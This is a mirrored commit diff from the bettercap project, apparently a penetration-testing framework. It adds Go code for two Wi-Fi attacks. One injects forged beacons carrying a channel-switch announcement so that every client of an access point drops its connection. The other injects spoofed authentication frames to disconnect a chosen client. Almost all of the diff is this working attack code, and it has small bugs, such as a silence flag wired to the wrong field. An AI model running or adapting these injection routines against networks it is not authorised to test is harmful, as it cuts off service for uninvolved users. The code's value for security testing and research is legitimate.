mirror of
https://github.com/bettercap/bettercap
synced 2025-08-21 05:53:20 -07:00
commit
0598272384
4 changed files with 218 additions and 7 deletions
|
@ -54,6 +54,8 @@ type WiFiModule struct {
|
||||||
assocSilent bool
|
assocSilent bool
|
||||||
assocOpen bool
|
assocOpen bool
|
||||||
assocAcquired bool
|
assocAcquired bool
|
||||||
|
csaSilent bool
|
||||||
|
fakeAuthSilent bool
|
||||||
filterProbeSTA *regexp.Regexp
|
filterProbeSTA *regexp.Regexp
|
||||||
filterProbeAP *regexp.Regexp
|
filterProbeAP *regexp.Regexp
|
||||||
apRunning bool
|
apRunning bool
|
||||||
|
@ -88,6 +90,8 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
assocSilent: false,
|
assocSilent: false,
|
||||||
assocOpen: false,
|
assocOpen: false,
|
||||||
assocAcquired: false,
|
assocAcquired: false,
|
||||||
|
csaSilent: false,
|
||||||
|
fakeAuthSilent: false,
|
||||||
showManuf: false,
|
showManuf: false,
|
||||||
shakesAggregate: true,
|
shakesAggregate: true,
|
||||||
writes: &sync.WaitGroup{},
|
writes: &sync.WaitGroup{},
|
||||||
|
@ -215,6 +219,50 @@ func NewWiFiModule(s *session.Session) *WiFiModule {
|
||||||
|
|
||||||
mod.AddHandler(probe)
|
mod.AddHandler(probe)
|
||||||
|
|
||||||
|
channelSwitchAnnounce := session.NewModuleHandler("wifi.channel_switch_announce bssid channel ", `wifi\.channel_switch_announce ((?:[a-fA-F0-9:]{11,}))\s+((?:[0-9]+))`,
|
||||||
|
"Start a 802.11 channel hop attack, all client will be force to change the channel lead to connection down.",
|
||||||
|
func(args []string) error {
|
||||||
|
bssid, err := net.ParseMAC(args[0])
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
channel,_:=strconv.Atoi( args[1])
|
||||||
|
if channel>180 || channel<1{
|
||||||
|
return fmt.Errorf("%d is not a valid channel number",channel)
|
||||||
|
}
|
||||||
|
return mod.startCSA(bssid,int8(channel))
|
||||||
|
})
|
||||||
|
|
||||||
|
channelSwitchAnnounce.Complete("wifi.channel_switch_announce", s.WiFiCompleterFull)
|
||||||
|
|
||||||
|
mod.AddHandler(channelSwitchAnnounce)
|
||||||
|
|
||||||
|
fakeAuth := session.NewModuleHandler("wifi.fake_auth bssid client", `wifi\.fake_auth ((?:[a-fA-F0-9:]{11,}))\s+((?:[a-fA-F0-9:]{11,}))`,
|
||||||
|
"send an fake authentication with client mac to ap lead to client disconnect",
|
||||||
|
func(args []string) error {
|
||||||
|
bssid, err := net.ParseMAC(args[0])
|
||||||
|
if err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
client,err:=net.ParseMAC(args[1])
|
||||||
|
if err!=nil{
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
return mod.startFakeAuth(bssid,client)
|
||||||
|
})
|
||||||
|
|
||||||
|
fakeAuth.Complete("wifi.fake_auth", s.WiFiCompleterFull)
|
||||||
|
|
||||||
|
mod.AddHandler(fakeAuth)
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("wifi.channel_switch_announce.silent",
|
||||||
|
"false",
|
||||||
|
"If true, messages from wifi.channel_switch_announce will be suppressed."))
|
||||||
|
|
||||||
|
mod.AddParam(session.NewBoolParameter("wifi.fake_auth.silent",
|
||||||
|
"false",
|
||||||
|
"If true, messages from wifi.fake_auth will be suppressed."))
|
||||||
|
|
||||||
mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
|
mod.AddParam(session.NewStringParameter("wifi.deauth.skip",
|
||||||
"",
|
"",
|
||||||
"",
|
"",
|
||||||
|
|
86
modules/wifi/wifi_csa.go
Normal file
86
modules/wifi/wifi_csa.go
Normal file
|
@ -0,0 +1,86 @@
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"github.com/bettercap/bettercap/network"
|
||||||
|
"github.com/bettercap/bettercap/packets"
|
||||||
|
"github.com/google/gopacket/layers"
|
||||||
|
"net"
|
||||||
|
)
|
||||||
|
|
||||||
|
func (mod *WiFiModule) isCSASilent() bool {
|
||||||
|
if err, is := mod.BoolParam("wifi.channel_switch_announce.silent"); err != nil {
|
||||||
|
mod.Warning("%v", err)
|
||||||
|
} else {
|
||||||
|
mod.csaSilent = is
|
||||||
|
}
|
||||||
|
return mod.csaSilent
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) sendBeaconWithCSAPacket(ap *network.AccessPoint, toChan int8) {
|
||||||
|
ssid := ap.ESSID()
|
||||||
|
if ssid == "<hidden>" {
|
||||||
|
ssid = ""
|
||||||
|
}
|
||||||
|
hw, _ := net.ParseMAC(ap.BSSID())
|
||||||
|
|
||||||
|
for seq := uint16(0); seq < 256 && mod.Running(); seq++ {
|
||||||
|
if err, pkt := packets.NewDot11Beacon(packets.Dot11ApConfig{
|
||||||
|
SSID: ssid,
|
||||||
|
BSSID: hw,
|
||||||
|
Channel: ap.Channel,
|
||||||
|
Encryption: false,
|
||||||
|
SpectrumManagement: true,
|
||||||
|
}, 0, packets.Dot11Info(layers.Dot11InformationElementIDSwitchChannelAnnounce, []byte{0, byte(toChan), 1})); err != nil {
|
||||||
|
mod.Error("could not create beacon packet: %s", err)
|
||||||
|
continue
|
||||||
|
} else {
|
||||||
|
mod.injectPacket(pkt)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) startCSA(to net.HardwareAddr, toChan int8) error {
|
||||||
|
// if not already running, temporarily enable the pcap handle
|
||||||
|
// for packet injection
|
||||||
|
if !mod.Running() {
|
||||||
|
if err := mod.Configure(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer mod.handle.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
var ap *network.AccessPoint = nil
|
||||||
|
|
||||||
|
for _, _ap := range mod.Session.WiFi.List() {
|
||||||
|
if bytes.Equal(_ap.HW, to) {
|
||||||
|
ap = _ap
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
if ap == nil {
|
||||||
|
return fmt.Errorf("%s is an unknown BSSID", to.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.writes.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer mod.writes.Done()
|
||||||
|
|
||||||
|
if mod.Running() {
|
||||||
|
logger := mod.Info
|
||||||
|
if mod.isCSASilent() {
|
||||||
|
logger = mod.Debug
|
||||||
|
}
|
||||||
|
logger("channel hop attack in AP %s (channel:%d encryption:%s), hop to channel %d ", ap.ESSID(), ap.Channel, ap.Encryption, toChan)
|
||||||
|
// send the beacon frame with channel switch announce element id
|
||||||
|
mod.onChannel(ap.Channel, func() {
|
||||||
|
mod.sendBeaconWithCSAPacket(ap, toChan)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
}()
|
||||||
|
|
||||||
|
return nil
|
||||||
|
}
|
71
modules/wifi/wifi_fake_auth.go
Normal file
71
modules/wifi/wifi_fake_auth.go
Normal file
|
@ -0,0 +1,71 @@
|
||||||
|
package wifi
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"fmt"
|
||||||
|
"github.com/bettercap/bettercap/network"
|
||||||
|
"github.com/bettercap/bettercap/packets"
|
||||||
|
"net"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
func (mod *WiFiModule) isFakeAuthSilent() bool {
|
||||||
|
if err, is := mod.BoolParam("wifi.fake_auth.silent"); err != nil {
|
||||||
|
mod.Warning("%v", err)
|
||||||
|
} else {
|
||||||
|
mod.csaSilent = is
|
||||||
|
}
|
||||||
|
return mod.csaSilent
|
||||||
|
}
|
||||||
|
|
||||||
|
func(mod *WiFiModule)sendFakeAuthPacket(bssid,client net.HardwareAddr){
|
||||||
|
err,pkt:=packets.NewDot11Auth(client,bssid,0)
|
||||||
|
if err!=nil{
|
||||||
|
mod.Error("could not create authentication packet: %s", err)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
for i:=0;i<32;i++{
|
||||||
|
mod.injectPacket(pkt)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (mod *WiFiModule) startFakeAuth(bssid,client net.HardwareAddr) error {
|
||||||
|
// if not already running, temporarily enable the pcap handle
|
||||||
|
// for packet injection
|
||||||
|
if !mod.Running() {
|
||||||
|
if err := mod.Configure(); err != nil {
|
||||||
|
return err
|
||||||
|
}
|
||||||
|
defer mod.handle.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
var ap *network.AccessPoint = nil
|
||||||
|
|
||||||
|
for _, _ap := range mod.Session.WiFi.List() {
|
||||||
|
if bytes.Equal(_ap.HW, bssid) {
|
||||||
|
ap = _ap
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if ap == nil {
|
||||||
|
return fmt.Errorf("%s is an unknown BSSID", bssid.String())
|
||||||
|
}
|
||||||
|
|
||||||
|
mod.writes.Add(1)
|
||||||
|
go func() {
|
||||||
|
defer mod.writes.Done()
|
||||||
|
|
||||||
|
if mod.Running() {
|
||||||
|
logger := mod.Info
|
||||||
|
if mod.isFakeAuthSilent() {
|
||||||
|
logger = mod.Debug
|
||||||
|
}
|
||||||
|
logger("fake authentication attack in AP: %s client: %s", ap.ESSID(), client.String())
|
||||||
|
// send the beacon frame with channel switch announce element id
|
||||||
|
mod.onChannel(ap.Channel, func() {
|
||||||
|
mod.sendFakeAuthPacket(bssid,client)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
return nil
|
||||||
|
}
|
|
@ -13,6 +13,7 @@ import (
|
||||||
var (
|
var (
|
||||||
openFlags = 1057
|
openFlags = 1057
|
||||||
wpaFlags = 1041
|
wpaFlags = 1041
|
||||||
|
specManFlag = 1<<8
|
||||||
durationID = uint16(0x013a)
|
durationID = uint16(0x013a)
|
||||||
capabilityInfo = uint16(0x0411)
|
capabilityInfo = uint16(0x0411)
|
||||||
listenInterval = uint16(3)
|
listenInterval = uint16(3)
|
||||||
|
@ -41,6 +42,7 @@ type Dot11ApConfig struct {
|
||||||
BSSID net.HardwareAddr
|
BSSID net.HardwareAddr
|
||||||
Channel int
|
Channel int
|
||||||
Encryption bool
|
Encryption bool
|
||||||
|
SpectrumManagement bool
|
||||||
}
|
}
|
||||||
|
|
||||||
func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement {
|
func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11InformationElement {
|
||||||
|
@ -51,12 +53,14 @@ func Dot11Info(id layers.Dot11InformationElementID, info []byte) *layers.Dot11In
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
|
func NewDot11Beacon(conf Dot11ApConfig, seq uint16, extendDot11Info ...*layers.Dot11InformationElement) (error, []byte) {
|
||||||
flags := openFlags
|
flags := openFlags
|
||||||
if conf.Encryption {
|
if conf.Encryption {
|
||||||
flags = wpaFlags
|
flags = wpaFlags
|
||||||
}
|
}
|
||||||
|
if conf.SpectrumManagement {
|
||||||
|
flags |= specManFlag
|
||||||
|
}
|
||||||
stack := []gopacket.SerializableLayer{
|
stack := []gopacket.SerializableLayer{
|
||||||
&layers.RadioTap{
|
&layers.RadioTap{
|
||||||
DBMAntennaSignal: int8(-10),
|
DBMAntennaSignal: int8(-10),
|
||||||
|
@ -77,7 +81,9 @@ func NewDot11Beacon(conf Dot11ApConfig, seq uint16) (error, []byte) {
|
||||||
Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates),
|
Dot11Info(layers.Dot11InformationElementIDRates, fakeApRates),
|
||||||
Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}),
|
Dot11Info(layers.Dot11InformationElementIDDSSet, []byte{byte(conf.Channel & 0xff)}),
|
||||||
}
|
}
|
||||||
|
for _, v := range extendDot11Info {
|
||||||
|
stack = append(stack, v)
|
||||||
|
}
|
||||||
if conf.Encryption {
|
if conf.Encryption {
|
||||||
stack = append(stack, &layers.Dot11InformationElement{
|
stack = append(stack, &layers.Dot11InformationElement{
|
||||||
ID: layers.Dot11InformationElementIDRSNInfo,
|
ID: layers.Dot11InformationElementIDRSNInfo,
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue